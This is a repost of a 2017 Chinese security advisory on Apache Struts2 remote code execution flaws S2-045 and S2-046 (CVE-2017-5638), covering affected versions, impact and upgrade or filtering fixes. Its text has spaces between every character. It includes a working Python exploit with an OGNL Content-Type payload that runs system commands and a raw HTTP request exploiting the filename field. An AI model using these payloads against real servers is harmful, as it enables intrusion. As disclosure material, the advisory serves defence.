搜索

[3648] 2017-03-21_Struts2远程代码执行漏洞S2-046与S2-045属于同一漏洞不同向量

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2017-03-21_Struts2远程代码执行漏洞S2-046与S2-045属于同一漏洞不同向量 S t r u t s   2 远 程 代 码 执 行 漏 洞 S 2 - 0 4 6 与 S 2 - 0 4 5 属 于 同 一 漏 洞 不 同 向 量 E 安 全   2 0 1 7 - 0 3 - 2 1 背 景 介 绍 背 景 介 绍 近 日 ， 安 恒 信 息 安 全 研 究 院 W E B I N 实 验 室 高 级 安 全 研 究 员 n i k e . z h e n g 发 现 著 名 J 2 E E 框 架 — — S t r u t s 2 存 在 远 程 代 码 执 行 的 漏 洞 ， S t r u t s 2 官 方 已 经 确 认 该 漏 洞 （ S 2 - 0 4 5 , S 2 - 0 4 6 ） ， 并 定 级 为 高 危 漏 洞 。 S 2 - 0 4 6 （ C N N V D 编 号 ： C N N V D - 2 0 1 7 0 3 - 1 5 2 ； C V E 编 号 ： C V E - 2 0 1 7 - 5 6 3 8 ） 漏 洞 的 报 告 者 来 自 三 家 ： q u a l c o m m （ 高 通 ） 、 d b a p p s e c u r i t y （ 杭 州 安 恒 ） 、 H P E （ 惠 普 企 业 ） 。 S 2 - 0 4 6 与 S 2 - 0 4 5 漏 洞 属 于 同 一 类 型 ， 如 果 在 之 前 S 2 - 0 4 5 漏 洞 曝 光 后 用 户 已 经 升 级 过 官 方 补 丁 ， 这 次 就 不 受 影 响 。 S t r u t s 2 是 一 个 基 于 M V C 设 计 模 式 的 W e b 应 用 框 架 ， 它 本 质 上 相 当 于 一 个 s e r v l e t ， 在 M V C 设 计 模 式 中 ， S t r u t s 2 作 为 控 制 器 ( C o n t r o l l e r ) 来 建 立 模 型 与 视 图 的 数 据 交 互 。 S t r u t s   2 是 S t r u t s 的 下 一 代 产 品 ， 是 在   s t r u t s   1 和 W e b W o r k 的 技 术 基 础 上 进 行 了 合 并 的 全 新 的 S t r u t s   2 框 架 。 其 全 新 的 S t r u t s   2 的 体 系 结 构 与 S t r u t s   1 的 体 系 结 构 差 别 巨 大 。 S t r u t s   2 以 W e b W o r k 为 核 心 ， 采 用 拦 截 器 的 机 制 来 处 理 用 户 的 请 求 ， 这 样 的 设 计 也 使 得 业 务 逻 辑 控 制 器 能 够 与 S e r v l e t A P I 完 全 脱 离 开 ， 所 以 S t r u t s   2 可 以 理 解 为 W e b W o r k 的 更 新 产 品 。 虽 然 从 S t r u t s   1 到 S t r u t s   2 有 着 太 大 的 变 化 ， 但 是 相 对 于 W e b W o r k ， S t r u t s   2 的 变 化 很 小 。 漏 洞 概 要 漏 洞 概 要 A p a c h e   S t r u t s   2   2 . 3 . 3 2 之 前 的 2   2 . 3 . x 版 本 和 2 . 5 . 1 0 . 1 之 前 的 2 . 5 . x 版 本 中 的 J a k a r t a   M u l t i p a r t 解 析 器 存 在 安 全 漏 洞 ， 该 漏 洞 源 于 程 序 没 有 正 确 处 理 文 件 上 传 。 攻 击 者 可 以 通 过 构 造 恶 意 的 m u l t i p a r t   c h u n k   f i l e n a m e 属 性 ， 即 可 造 成 远 程 代 码 执 行 。
漏 洞 的 报 告 者 来 自 三 家 ： q u a l c o m m （ 高 通 ） 、 d b a p p s e c u r i t y （ 杭 州 安 恒 ） 、 H P E （ 惠 普 企 业 ） 。 该 漏 洞 危 害 程 度 极 高 ， 黑 客 可 以 利 用 该 漏 洞 通 过 浏 览 器 在 远 程 服 务 器 上 执 行 任 意 系 统 命 令 ， 将 会 对 受 影 响 站 点 造 成 严 重 影 响 ， 引 发 数 据 泄 露 、 网 页 篡 改 、 植 入 后 门 、 成 为 肉 鸡 等 安 全 事 件 。 由 该 应 用 较 为 广 泛 ， 且 攻 击 利 用 代 码 已 经 公 开 ， 可 能 会 导 致 互 联 网 上 大 规 模 攻 击 的 出 现 。 特 别 是 政 府 、 公 安 、 交 通 、 金 融 和 运 营 商 等 尤 其 需 要 重 视 该 漏 洞 ， 这 些 单 位 和 机 构 需 要 非 常 重 视 信 息 安 全 保 密 工 作 ， 敏 感 信 息 的 泄 漏 有 可 能 对 国 家 造 成 沉 重 的 打 击 ， 甚 至 会 违 反 相 关 的 法 律 规 定 。 在 最 近 几 年 A P T 攻 击 横 行 的 时 期 ， 骇 客 早 也 不 再 以 挂 黑 页 炫 耀 为 目 的 ， 攻 击 者 可 能 通 过 该 漏 洞 作 为 突 破 口 渗 透 进 入 其 内 部 网 络 长 期 蛰 伏 ， 不 断 收 集 各 种 信 息 ， 直 到 收 集 到 重 要 情 报 。 请 记 住 ， 在 如 今 的 互 联 网 时 代 ， 只 要 是 能 换 成 钱 的 东 西 ， 骇 客 们 都 愿 意 尝 试 ， 其 中 更 不 乏 诸 多 政 治 骇 客 （ 如 国 际 黑 客 组 织 A n o n y m o u s ） 。 针 对 此 次 漏 洞 ， 安 恒 安 全 专 家 建 议 尽 快 更 新 S t r u t s 2 版 本 或 采 用 第 三 方 防 护 措 施 如 具 备 防 护 能 力 的 W E B 防 火 墙 或 云 防 护 产 品 进 行 防 范 。 S 2 - 0 4 5 漏 洞 影 响 漏 洞 影 响 攻 击 者 可 以 通 过 构 造 H T T P 请 求 头 中 的 C o n t e n t - T y p e 值 可 能 造 成 远 程 代 码 执 行 。 S 2 - 0 4 5   P o C # !   / u s r / b i n / e n v   p y t h o n #   e n c o d i n g : u t f - 8
i m p o r t   u r l l i b 2 i m p o r t   s y s f r o m   p o s t e r . e n c o d e   i m p o r t   m u l t i p a r t _ e n c o d e f r o m   p o s t e r . s t r e a m i n g h t t p   i m p o r t   r e g i s t e r _ o p e n e r s d e f   p o c ( ) :         r e g i s t e r _ o p e n e r s ( )         d a t a g e n ,   h e a d e r   =   m u l t i p a r t _ e n c o d e ( { " i m a g e 1 " :   o p e n ( " t m p . t x t " ,   " r b " ) } )         h e a d e r [ " U s e r - A g e n t " ] = " M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 2 _ 3 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 6 . 0 . 2 9 2 4 . 8 7 S a f a r i / 5 3 7 . 3 6 "         h e a d e r [ " C o n t e n t - T y p e " ] = " % { ( # n i k e = ' m u l t i p a r t / f o r m - d a t a ' ) . ( # d m = @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) . ( # _ m e m b e r A c c e s s ? ( # _ m e m b e r A c c e s s = # d m ) : ( ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y . x w o r k 2 . o g n l . O g n l U t i l @ c l a s s ) ) . ( # o g n l U t i l . g e t E x c l u d e d P a c k a g e N a m e s ( ) . c l e a r ( ) ) . ( # o g n l U t i l . g e t E x c l u d e d C l a s s e s ( ) . c l e a r ( ) ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( # d m ) ) ) ) . ( # c m d = ' i f c o n f i g ' ) . ( # i s w i n = ( @ j a v a . l a n g . S y s t e m @ g e t P r o p e r t y ( ' o s . n a m e ' ) . t o L o w e r C a s e ( ) . c o n t a i n s ( ' w i n ' ) ) ) . ( # c m d s = ( # i s w i n ? { ' c m d . e x e ' , ' / c ' , # c m d } : { ' / b i n / b a s h ' , ' - c ' , # c m d } ) ) . ( # p = n e w   j a v a . l a n g . P r o c e s s B u i l d e r ( # c m d s ) ) . ( # p . r e d i r e c t E r r o r S t r e a m ( t r u e ) ) . ( # p r o c e s s = # p . s t a r t ( ) ) . ( # r o s = ( @ o r g . a p a c h e . s t r u t s 2 . S e r v l e t A c t i o n C o n t e x t @ g e t R e s p o n s e ( ) . g e t O u t p u t S t r e a m ( ) ) ) . ( @ o r g . a p a c h e . c o m m o n s . i o . I O U t i l s @ c o p y ( # p r o c e s s . g e t I n p u t S t r e a m ( ) , # r o s ) ) . ( # r o s . f l u s h ( ) ) } "         r e q u e s t   =   u r l l i b 2 . R e q u e s t ( s t r ( s y s . a r g v [ 1 ] ) , d a t a g e n , h e a d e r s = h e a d e r )         r e s p o n s e   =   u r l l i b 2 . u r l o p e n ( r e q u e s t )         p r i n t   r e s p o n s e . r e a d ( ) p o c ( ) 相 关 阅 读 ： 关 于 最 新 S t r u t s 2   S 2 - 0 4 5 漏 洞 修 复 措 施 的 几 点 重 要 说 明 S 2 - 0 4 6 漏 洞 影 响 漏 洞 影 响 触 发 条 件 触 发 条 件 攻 击 者 可 以 通 过 构 造 恶 意 的 m u l t i p a r t   c h u n k   f i l e n a m e 属 性 ， 即 可 造 成 远 程 代 码 执 行 。 S 2 - 0 4 6   P o C P O S T   / d o U p l o a d . a c t i o n   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 8 0 8 0 C o n t e n t - L e n g t h :   1 0 0 0 0 0 0 0 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y A n m U g T E h F h O Z p r 9 z C o n n e c t i o n :   c l o s e
  - - - - - - W e b K i t F o r m B o u n d a r y A n m U g T E h F h O Z p r 9 z C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p l o a d " ;   f i l e n a m e = " % { # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e s p o n s e ' ] . a d d H e a d e r ( ' X - T e s t ' , ' K a b o o m ' ) } " C o n t e n t - T y p e :   t e x t / p l a i n K a b o o m     - - - - - - W e b K i t F o r m B o u n d a r y A n m U g T E h F h O Z p r 9 z - - 修 复 建 议 修 复 建 议 漏 洞 披 露 后 ， 在 业 界 引 起 轩 然 大 波 ， 很 多 厂 商 都 发 布 了 紧 急 防 护 方 案 。 安 恒 信 息 研 究 员 深 入 分 析 发 现 很 多 第 三 方 厂 商 所 提 供 的 过 滤 方 案 或 临 时 加 固 版 本 并 没 有 完 全 修 复 漏 洞 ， 攻 击 者 仍 可 以 利 用 该 漏 洞 入 侵 受 影 响 的 站 点 。 S 2 - 0 4 6 与 S 2 - 0 4 5 漏 洞 属 于 同 一 类 型 ， 如 果 在 之 前 S 2 - 0 4 5 漏 洞 曝 光 后 用 户 已 经 升 级 过 官 方 补 丁 ， 这 次 就 不 受 影 响 。 1 .   严 格 过 滤   C o n t e n t - T y p e   、 f i l e n a m e 里 的 内 容 ， 严 禁 o g n l 表 达 式 相 关 字 段 。 2 .   如 果 您 使 用 基 于 J a k a r t a 插 件 ， 请 升 级 到 A p a c h e   S t r u t s   2 . 3 . 3 2 或 2 . 5 . 1 0 . 1 版 本 。 官 方 升 级 地 址 ： h t t p s : / / d i s t . a p a c h e . o r g / r e p o s / d i s t / r e l e a s e / s t r u t s / 2 . 5 . 1 0 . 1 /     h t t p s : / / d i s t . a p a c h e . o r g / r e p o s / d i s t / r e l e a s e / s t r u t s / 2 . 3 . 3 2 /   官 网 公 告 官 网 公 告 h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 4 5 h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 4 6 参 考 地 址 参 考 地 址 h t t p : / / s t r u t s . a p a c h e . o r g / d o c s / s 2 - 0 4 5 . h t m l h t t p : / / s t r u t s . a p a c h e . o r g / d o c s / s 2 - 0 4 6 . h t m l h t t p s : / / c o m m u n i t y . h p e . c o m / t 5 / S e c u r i t y - R e s e a r c h / S t r u t s 2 - 0 4 6 - A - n e w - v e c t o r / b a - p / 6 9 4 9 7 2 3 # h t t p : / / w w w . c n v d . o r g . c n / f l a w / s h o w / C N V D - 2 0 1 7 - 0 2 4 7 4
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理